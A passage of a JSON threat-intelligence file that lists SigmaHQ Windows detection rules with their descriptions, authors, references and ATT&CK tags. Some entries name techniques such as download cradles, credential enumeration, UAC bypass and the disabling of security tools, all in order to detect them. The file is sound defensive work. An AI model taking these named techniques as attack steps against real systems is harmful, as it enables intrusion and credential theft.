"https://github.com/HyperSine/how-does-MobaXterm-encrypt-password", "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_cli.yml" ], "tags": [ "attack.credential_access", "attack.t1552.002" ] }, "related": [ { "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "87a476dc-0079-4583-a985-dee7a20a03de", "value": "Enumeration for 3rd Party Creds From CLI" }, { "description": "Detects suspicious Unicode characters in the command line, which could be a sign of obfuscation or defense evasion", "meta": { "author": "Florian Roth", "creation_date": "2022/04/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_commandline_chars.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_commandline_chars.yml" ], "tags": "No established tags" }, "uuid": "2c0d2d7b-30d6-4d14-9751-7b9113042ab9", "value": "Suspicious Characters in CommandLine" }, { "description": "Detects a suspicious winrar execution in a folder which is not the default installation folder", "meta": { "author": "Florian Roth, Tigzy", "creation_date": "2021/11/17", "falsepositive": [ "Legitimate use of WinRAR in a folder of a software that bundles WinRAR" ], "filename": "proc_creation_win_susp_winrar_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/cyb3rops/status/1460978167628406785", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_execution.yml" ], "tags": [ "attack.collection", "attack.t1560.001" ] }, "related": [ { "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4ede543c-e098-43d9-a28f-dd784a13132f", "value": "Winrar Execution in Non-Standard Folder" }, { "description": "Download or Copy file with Extrac32", "meta": { "author": "frack113", "creation_date": "2021/11/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_extrac32.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aa8e035d-7be4-48d3-a944-102aec04400d", "value": "Suspicious Extrac32 Execution" }, { "description": "Detects EnableUnsafeClientMailRules used for Script Execution from Outlook", "meta": { "author": "Markus Neis", "creation_date": "2018/12/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_outlook.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/sensepost/ruler", "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook.yml" ], "tags": [ "attack.execution", "attack.t1059", "attack.t1202" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e212d415-0e93-435f-9e1a-f29005bb4723", "value": "Suspicious Execution from Outlook" }, { "description": "Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features", "meta": { "author": "Florian Roth", "creation_date": "2020/06/19", "falsepositive": [ "Unknown, maybe some security software installer disables these features temporarily" ], "filename": "proc_creation_win_susp_disable_ie_features.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_ie_features.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "fb50eb7a-5ab1-43ae-bcc9-091818cb8424", "value": "Disabled IE Security Features" }, { "description": "Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_nslookup_poweshell_download.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Alh4zr3d/status/1566489367232651264", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_poweshell_download.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "1b3b01c7-84e9-4072-86e5-fc285a41ff23", "value": "Nslookup PowerShell Download Cradle - ProcessCreation" }, { "description": "Detects Commandlet names from well-known PowerShell exploitation frameworks", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_malicious_cmdlets.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/HarmJ0y/DAMP", "https://github.com/samratashok/nishang", "https://github.com/calebstewart/CVE-2021-1675", "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", "https://adsecurity.org/?p=2921", "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malicious_cmdlets.yml" ], "tags": [ "attack.execution", "attack.discovery", "attack.t1482", "attack.t1087", "attack.t1087.001", "attack.t1087.002", "attack.t1069.001", "attack.t1069.002", "attack.t1069", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "02030f2f-6199-49ec-b258-ea71b07e03dc", "value": "Malicious PowerShell Commandlets - ProcessCreation" }, { "description": "Detects suspicious command line to remove and 'exe' or 'dll'", "meta": { "author": "frack113", "creation_date": "2021/12/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_del.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_del.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.004" ] }, "related": [ { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "204b17ae-4007-471b-917b-b917b315c5db", "value": "Suspicious Del in CommandLine" }, { "description": "This command line patterns found in BlackByte Ransomware operations", "meta": { "author": "Florian Roth", "creation_date": "2022/02/25", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_ransom_blackbyte.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/blackbyte-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ransom_blackbyte.yml" ], "tags": "No established tags" }, "uuid": "999e8307-a775-4d5f-addc-4855632335be", "value": "BlackByte Ransomware Patterns" }, { "description": "Detects binaries that use the same name as legitimate sysinternals tools to evade detection", "meta": { "author": "frack113", "creation_date": "2021/12/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_false_sysinternalsuite.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_false_sysinternalsuite.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1218", "attack.t1202" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7cce6fc8-a07f-4d84-a53e-96e1879843c9", "value": "Potential Binary Impersonating Sysinternals Tools" }, { "description": "Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags", "meta": { "author": "Florian Roth", "creation_date": "2022/02/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_wuauclt_cmdline.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/blackbyte-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt_cmdline.yml" ], "tags": "No established tags" }, "uuid": "52d097e2-063e-4c9c-8fbb-855c8948d135", "value": "Suspicious Windows Update Agent Empty Cmdline" }, { "description": "Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion", "meta": { "author": "Florian Roth", "creation_date": "2019/02/09", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_calc.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/ItsReallyNick/status/1094080242686312448", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_calc.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036" ] }, "uuid": "737e618a-a410-49b5-bec3-9e55ff7fbc15", "value": "Suspicious Calculator Usage" }, { "description": "Detects the execution of a renamed office binaries", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_renamed_office_processes.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://infosec.exchange/@sbousseaden/109542254124022664", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_office_processes.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "0b0cd537-fc77-4e6e-a973-e53495c1083d", "value": "Renamed Office Binary Execution" }, { "description": "Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays", "meta": { "author": "Florian Roth, omkar72, oscd.community", "creation_date": "2021/02/24", "falsepositive": [ "Admin activity (unclear what they do nowadays with finger.exe)" ], "filename": "proc_creation_win_susp_finger_usage.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/bigmacjpg/status/1349727699863011328?s=12", "https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/", "http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_finger_usage.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "af491bca-e752-4b44-9c86-df5680533dbc", "value": "Finger.exe Suspicious Invocation" }, { "description": "Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary", "meta": { "author": "Florian Roth", "creation_date": "2022/01/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_mpiexec_lolbin.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1465058133303246867", "https://docs.microsoft.com/en-us/powershell/high-performance-computing/mpiexec?view=hpc19-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mpiexec_lolbin.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "729ce0ea-5d8f-4769-9762-e35de441586d", "value": "MpiExec Lolbin" }, { "description": "Detects usage of the \"systeminfo\" command to retrieve information", "meta": { "author": "frack113", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_systeminfo.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_systeminfo.yml" ], "tags": [ "attack.discovery", "attack.t1082" ] }, "uuid": "0ef56343-059e-4cb6-adc1-4c3c967c5e46", "value": "Suspicious Execution of Systeminfo" }, { "description": "Detects diagcab leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in CVE-2022-30190", "meta": { "author": "GossiTheDog (rule), frack113 (sigma version)", "creation_date": "2022/06/09", "falsepositive": [ "Legitimate usage of \".diagcab\" files" ], "filename": "proc_creation_win_msdt_diagcab.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0", "https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_diagcab.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6545ce61-a1bd-4119-b9be-fcbee42c0cf3", "value": "Execute MSDT.EXE Using Diagcab File" }, { "description": "Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy \"Bypass\" or any binary named \"powershell.exe\" located in the path provided by 6th postiional argument", "meta": { "author": "Nasreddine Bencherchali, memory-shards", "creation_date": "2022/12/24", "falsepositive": [ "Legitimate use via Intune management. You exclude script paths and names to reduce FP rate" ], "filename": "proc_creation_win_lolbin_agentexecutor.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/jseerden/status/1247985304667066373/photo/1", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/", "https://docs.microsoft.com/en-us/mem/intune/apps/intune-management-extension", "https://twitter.com/lefterispan/status/1286259016436514816", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_agentexecutor.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7efd2c8d-8b18-45b7-947d-adfe9ed04f61", "value": "AgentExecutor PowerShell Execution" }, { "description": "Detects execution of renamed version of PAExec. Often used by attackers", "meta": { "author": "Florian Roth", "creation_date": "2021/05/22", "falsepositive": [ "Weird admins that rename their tools", "Software companies that bundle PAExec with their software and rename it, so that it is less embarrassing", "When executed with the \"-s\" flag. PAExec will copy itself to the \"C:\\Windows\\\" directory with a different name. Usually like this \"PAExec-[XXXXX]-[ComputerName]\"" ], "filename": "proc_creation_win_susp_renamed_paexec.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.poweradmin.com/paexec/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_paexec.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c4e49831-1496-40cf-8ce1-b53f942b02f9", "value": "Renamed PAExec" }, { "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques", "meta": { "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate OpenVPN TAP insntallation" ], "filename": "proc_creation_win_tap_installer_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tap_installer_execution.yml" ], "tags": [ "attack.exfiltration", "attack.t1048" ] }, "related": [ { "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "99793437-3e16-439b-be0f-078782cf953d", "value": "Tap Installer Execution" }, { "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_uac_bypass_ntfs_reparse_point.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ntfs_reparse_point.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "39ed3c80-e6a1-431b-9df3-911ac53d08a7", "value": "UAC Bypass Using NTFS Reparse Point - Process" }, { "description": "Detects suspicious SSH tunnel port forwarding to a local port", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/12", "falsepositive": [ "Administrative activity using a remote port forwarding to a local port" ], "filename": "proc_creation_win_susp_ssh_port_forward.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ssh_port_forward.yml" ], "tags": [ "attack.command_and_control", "attack.t1572", "attack.lateral_movement", "attack.t1021.001" ] }, "related": [ { "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "327f48c1-a6db-4eb8-875a-f6981f1b0183", "value": "Suspicious SSH Port Forwarding" }, { "description": "Detects usage of \"PresentationHost\" which is a utility that runs \".xbap\" (Browser Applications) files. It can be abused to run malicious \".xbap\" files any bypass AWL", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/01", "falsepositive": [ "Legitimate \".xbap\" being executed via \"PresentationHost\"" ], "filename": "proc_creation_win_lolbin_presentationhost.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d22e2925-cfd8-463f-96f6-89cec9d9bc5f", "value": "Application Whitelisting Bypass via PresentationHost.exe" }, { "description": "Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)", "meta": { "author": "Florian Roth", "creation_date": "2022/04/13", "falsepositive": [ "Unknown", "Some cases in which the service spawned a werfault.exe process" ], "filename": "proc_creation_win_rpcss_anomalies.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.bleepingcomputer.com/startups/RpcSs.exe-14544.html", "https://twitter.com/cyb3rops/status/1514217991034097664", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcss_anomalies.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a7cd7306-df8b-4398-b711-6f3e4935cf16", "value": "Remote Procedure Call Service Anomaly" }, { "description": "Detects execution of of Dxcap.exe", "meta": { "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali (update)", "creation_date": "2019/10/26", "falsepositive": [ "Legitimate execution of dxcap.exe by legitimate user" ], "filename": "proc_creation_win_lolbin_susp_dxcap.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/", "https://twitter.com/harr0ey/status/992008180904419328", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "60f16a96-db70-42eb-8f76-16763e333590", "value": "Application Whitelisting Bypass via Dxcap.exe" }, { "description": "Conti ransomware command line ioc", "meta": { "author": "frack113", "creation_date": "2021/10/12", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_conti_cmd_ransomware.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", "https://twitter.com/VK_Intel/status/1447795359900704769?t=Xz7vaLTvaaCZ5kHoZa6gMw&s=19", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_cmd_ransomware.yml" ], "tags": [ "attack.impact", "attack.s0575", "attack.t1486" ] }, "related": [ { "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "689308fc-cfba-4f72-9897-796c1dc61487", "value": "Conti Ransomware Execution" }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", "creation_date": "2022/02/13", "falsepositive": [ "Legitimate usage of the tool" ], "filename": "proc_creation_win_screenconnect.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "57bff678-25d1-4d6c-8211-8ca106d12053", "value": "Use of ScreenConnect Remote Access Software" }, { "description": "Detects suspicious ways to use of a Visual Studio bundled tool named DumpMinitool.exe", "meta": { "author": "Florian Roth", "creation_date": "2022/04/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_proc_dump_susp_dumpminitool.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1511415432888131586", "https://twitter.com/mrd0x/status/1511489821247684615", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_susp_dumpminitool.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "eb1c4225-1c23-4241-8dd4-051389fde4ce", "value": "Suspicious DumpMinitool Usage" }, { "description": "Detects the execution of Xwizard tool from the non-default directory which can be used to sideload a custom xwizards.dll", "meta": { "author": "Christian Burkard", "creation_date": "2021/09/20", "falsepositive": [ "Windows installed on non-C drive" ], "filename": "proc_creation_win_lolbin_dll_sideload_xwizard.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", "http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "193d5ccd-6f59-40c6-b5b0-8e32d5ddd3d1", "value": "Xwizard DLL Sideloading" }, { "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon", "meta": { "author": "frack113", "creation_date": "2021/07/12", "falsepositive": [ "Uninstall by admin" ], "filename": "proc_creation_win_uninstall_crowdstrike_falcon.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_crowdstrike_falcon.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "f0f7be61-9cf5-43be-9836-99d6ef448a18", "value": "Uninstall Crowdstrike Falcon" }, { "description": "Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate use of the system utilities to discover system time for legitimate reason" ], "filename": "proc_creation_win_remote_time_discovery.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1124/T1124.md", "https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_time_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1124" ] }, "uuid": "b243b280-65fe-48df-ba07-6ddea7646427", "value": "Discovery of a System Time" }, { "description": "Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.", "meta": { "author": "Sreeman, Nasreddine Bencherchali", "creation_date": "2020/01/13", "falsepositive": [ "Administrative scripts (installers)" ], "filename": "proc_creation_win_susp_curl_start_combo.yml", "level": 